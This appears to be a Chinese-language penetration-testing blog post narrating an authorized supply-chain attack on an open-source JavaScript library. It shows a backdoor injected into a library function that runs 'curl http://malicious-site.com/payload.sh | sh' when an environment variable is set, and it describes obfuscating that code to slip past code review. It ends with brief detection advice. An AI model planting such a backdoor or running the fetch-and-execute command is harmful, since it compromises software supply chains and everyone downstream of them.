0x01 渗透故事：从一个被信任的库开始
在某次授权的安全评估中，我的目标是通过供应链攻击来突破一个大型互联网公司的防线。目标公司依赖于多个开源软件库，并通过这些库来支撑其业务应用。我的计划是利用一个开源库的更新渠道，注入恶意代码，以此为切入点渗透到目标内网。这个案例为我展示了供应链攻击的潜力和威力。
供应链攻击的原理
供应链攻击，顾名思义，就是通过攻击软件供应链的薄弱环节来入侵目标系统。攻击者可以通过操控第三方库、软件更新、代码注入等方式，潜入目标系统。供应链攻击具有隐蔽性强、影响范围广的特点，一旦成功能造成巨大损失。
在这次评估中，我发现目标公司使用了一个在 GitHub 上开源的 JavaScript 库，它被大量使用于公司的多个项目中。于是，我将目标锁定在这个库的更新机制上。
实战环境搭建
首先，我要在本地搭建一个模拟环境。目标是复现目标公司使用该库的场景，以便进行攻击测试。我选择了安装 Node.js 和相应的包管理工具 npm，然后从 GitHub 上克隆了该开源库。
<pre><code class="language-shell"># 克隆目标库 git clone https://github.com/example/target-lib.git cd target-lib
安装依赖
npm install</code></pre>
接着，我在本地模拟了一个简单的 web 应用，依赖于这个库来处理请求。
<pre><code class="language-javascript">// app.js 文件 const express = require('express'); const targetLib = require('target-lib');
const app = express();
app.get('/', (req, res) => { res.send(targetLib.welcomeMessage()); });
app.listen(3000, () => { console.log('Server running on port 3000'); });
</code></pre>
Payload构造的艺术
为了在库中注入恶意代码，我需要设计一个隐蔽的 Payload。不仅要功能强大，还必须确保在代码审核中不易被发现。我的想法是利用现有的欢迎信息功能，通过环境变量来触发恶意操作。
<pre><code class="language-javascript">// 在 welcomeMessage 函数中注入恶意代码 function welcomeMessage() { const message = "Welcome to our site!"; if (process.env.MALICIOUS_TRIGGER === '1') { // 调用后门 require('child_process').exec('curl http://malicious-site.com/payload.sh | sh'); } return message; }</code></pre>
通过这种方式，只要目标环境设置了特定的环境变量，代码就会自动执行恶意 Payload。
绕过与免杀
为了绕过目标公司的代码审查，我对恶意代码进行了混淆处理，使用了一些 JavaScript 混淆工具，以增强代码的免杀能力。此外，我利用 HTTPS 隧道进行流量加密，确保数据传输的隐蔽性。
<pre><code class="language-shell"># 使用混淆工具 npx obfuscator-cli app.js -o app.obfuscated.js</code></pre>
流量捕获实战
接下来，我准备进行流量捕获，通过分析流量包来确认 Payload 的执行情况。我在本地环境中设置了一个监听器，监控从本地服务器发出的所有请求。
<pre><code class="language-shell"># 使用 tcpdump 捕获流量 sudo tcpdump -i any -w capture.pcap</code></pre>
在执行攻击后，我检查了流量捕获文件，确认恶意代码成功执行，并向我的控制服务器发送了请求。
检测与防御
为了检测这种攻击，目标公司可以引入代码审计工具，并在 CI/CD 流程中增加对第三方库的安全扫描。同时，引入 EDR（终端检测与响应）工具，能检测到异常的行为模式，及时响应。
个人经验分享
在这次供应链攻击中，我深刻体会到供应链的安全性如何决定了企业的整体安全。针对类似攻击，企业应加强对第三方软件的审查力度，定期对产品进行安全扫描，并建立完善的应急响应机制。
最后，本文内容仅限于授权的安全测试与研究，旨在帮助安全研究人员提高在供应链攻击领域的技术水平，切勿用于非法用途。